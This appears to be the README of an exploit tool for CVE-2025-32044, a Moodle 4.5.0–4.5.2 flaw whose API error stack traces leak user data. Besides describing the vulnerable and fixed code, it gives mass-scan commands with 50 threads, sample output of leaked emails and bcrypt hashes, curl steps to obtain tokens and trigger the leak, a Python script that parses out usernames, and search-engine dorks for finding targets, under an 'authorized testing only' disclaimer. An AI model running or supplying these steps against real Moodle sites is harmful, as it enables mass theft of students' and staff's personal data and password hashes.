
Moodle 4.5.0-4.5.2 Unauthenticated REST API User Data Exposure via Stack Trace Args Leak | CVSS 7.5
CVE-2025-32044 is a high-severity (CVSS 7.5) unauthenticated information disclosure vulnerability in Moodle LMS 4.5.0 through 4.5.2.
The vulnerability lies in Moodle's REST API exception handler — exception_response::get_payload_data() in lib/classes/router/response/exception_response.php. Before the fix, PHP stack traces with function arguments were included in API error responses. These arguments contain sensitive user data passed through the call stack — including usernames, full names, email addresses, and password hashes.
No authentication, token, or user interaction is required to trigger the leak. The attacker only needs to send a malformed request to any REST API endpoint that causes an internal exception.
| Moodle Version | Status |
|---|---|
| 4.5.0 – 4.5.2 | Vulnerable |
| 4.5.3+ | Patched |
| < 4.5.0 | Not affected |
All versions with zend.exception_ignore_args = On | Not affected |
Discovered by: Lucas Alonso (March 14, 2025)
Moodle Tracker: MDL-84879
Advisory: MSA-25-0011
// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← includes 'args'!
];
return $data;
}
When an exception occurs during REST API processing, the PHP stack trace includes the function arguments (args) for each frame in the call stack. These arguments inadvertently contain user table data that was being processed by functions higher in the call chain.
// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Plus defense-in-depth in lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Single target scan
python cve_2025_32044.py -t moodle.target.com
# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save leaked user data to file
--threads Concurrent workers (default: 30)
--timeout Request timeout in seconds (default: 10)
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
Step 1 — Detect Moodle + Web Services
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled
Step 2 — Get a token (if possible)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
Step 3 — Trigger exception & capture leak
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable
Step 4 — Parse leaked data
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
Successful exploitation yields:
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.
The authors assume no liability for misuse.
This project is not affiliated with Moodle Pty Ltd.
| Field | Source |
|---|
| Username | user table |
| Full name | firstname + lastname |
email column | |
| Password hash | bcrypt $2y$ / $2b$ hashes |
| Last login IP | lastip column |
| User ID | id column |
| Resource | Link |
|---|
| Moodle Advisory MSA-25-0011 | moodle.org |
| Moodle Tracker MDL-84879 | tracker.moodle.org |
| Git Commit (fix) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD Entry | CVE-2025-32044 |
| Discoverer | Lucas Alonso |